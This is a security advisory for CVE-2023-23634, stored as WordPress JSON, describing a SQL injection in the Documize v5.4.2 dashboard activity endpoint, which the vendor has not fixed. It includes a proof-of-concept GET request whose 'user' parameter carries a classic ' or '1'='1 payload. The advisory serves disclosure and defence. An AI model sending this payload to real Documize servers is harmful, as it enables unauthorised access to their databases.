{"id":21828,"date":"2023-12-22T10:24:49","date_gmt":"2023-12-22T09:24:49","guid":{"rendered":"https:\/\/herolab.usd.de\/?page_id=21828"},"modified":"2024-01-02T10:56:31","modified_gmt":"2024-01-02T09:56:31","slug":"usd-2022-0066","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2022-0066\/","title":{"rendered":"usd-2022-0066"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.21.0\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\" theme_builder_area=\"post_content\"][et_pb_row _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\" theme_builder_area=\"post_content\"][et_pb_column type=\"4_4\" _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\" theme_builder_area=\"post_content\"][et_pb_text _builder_version=\"4.23.1\" _module_preset=\"default\" custom_padding=\"||13px|||\" hover_enabled=\"0\" global_colors_info=\"{}\" theme_builder_area=\"post_content\" sticky_enabled=\"0\"]<\/p>\n<h1>usd-2022-0066 | Documize v5.4.2 (221021105923) - SQL Injection<\/h1>\n<h1><\/h1>\n<p><strong>Advisory ID<\/strong>: usd-2022-0066<br \/><strong>Product<\/strong>: Documize<br \/><strong>Affected Version<\/strong>: v5.4.2 (221021105923)<br \/><strong>Vulnerability Type<\/strong>: SQL Injection (CWE-89)<br \/><strong>Security Risk<\/strong>: Critical<br \/><strong>Vendor URL<\/strong>: <a>https:\/\/www.documize.com<\/a><br \/><strong>Vendor Status<\/strong>: Not fixed<br \/><strong>CVE number<\/strong>: CVE-2023-23634<\/p>\n<h3>Description<\/h3>\n<p>The <strong>user<\/strong> parameter of the <strong>\/api\/dashboard\/activity<\/strong> allows SQL-Injection.<\/p>\n<h3>Proof of Concept<\/h3>\n<p>The following request was used to inject data into the <em>SQL<\/em> query using the <strong>user<\/strong> parameter.<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"nf\" style=\"background: #263238;color: #82aaff\">GET<\/span> <span class=\"nn\" style=\"background: #263238;color: #ffcb6b\">\/api\/dashboard\/activity?days=1&amp;user=invalid'%20or%20'1'%3d'1&amp;activity=0<\/span> <span class=\"kr\" style=\"background: #263238;color: #bb80b3\">HTTP<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">\/<\/span><span class=\"m\" style=\"background: #263238;color: #f78c6c\">1.1<\/span><br \/><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Host<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">localhost:5001<\/span><br \/><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Accept<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">application\/json, text\/javascript, *\/*; q=0.01<\/span><br \/><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Content-Type<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">application\/x-www-form-urlencoded; charset=UTF-8<\/span><br \/><span class=\"na\" style=\"background: #263238;color: #bb80b3\">authorization<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">ey[REDACTED]<\/span><br \/><span class=\"na\" style=\"background: #263238;color: #bb80b3\">User-Agent<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/108.0.5359.99 Safari\/537.36<\/span><br \/><span class=\"err\" style=\"background: #263238;color: #ff5370\">[...]<\/span><\/pre>\n<\/div>\n<h3>Fix<\/h3>\n<p>It is recommended to use prepared statements.<\/p>\n<h3>References<\/h3>\n<ul>\n<li><a>https:\/\/owasp.org\/www-community\/attacks\/SQL_Injection<\/a><\/li>\n<\/ul>\n<h3>Timeline<\/h3>\n<ul>\n<li><strong>2022-12-16<\/strong>: First contact request via mail<\/li>\n<li><strong>2023-01-09<\/strong>: Second contact request via mail<\/li>\n<li><strong>2023-01-16<\/strong>: Try to contact vendor again<\/li>\n<li><strong>2023-02-02<\/strong>: Try to contact vendor again<\/li>\n<li><strong>2023-12-22<\/strong>: Publish advisory<\/li>\n<\/ul>\n<h3>Credits<\/h3>\n<p>This security vulnerability was identified by Christian P\u00f6schl of usd AG.<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2022-0066 | Documize v5.4.2 (221021105923) - SQL Injection Advisory ID: usd-2022-0066Product: DocumizeAffected Version: v5.4.2 (221021105923)Vulnerability Type: SQL Injection (CWE-89)Security Risk: CriticalVendor URL: https:\/\/www.documize.comVendor Status: Not fixedCVE number: CVE-2023-23634 Description The user parameter of the \/api\/dashboard\/activity allows SQL-Injection. Proof of Concept The following request was used to inject data into the SQL query using the user [&hellip;]<\/p>\n","protected":false},"author":115,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-21828","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/21828","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/115"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=21828"}],"version-history":[{"count":5,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/21828\/revisions"}],"predecessor-version":[{"id":21880,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/21828\/revisions\/21880"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=21828"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}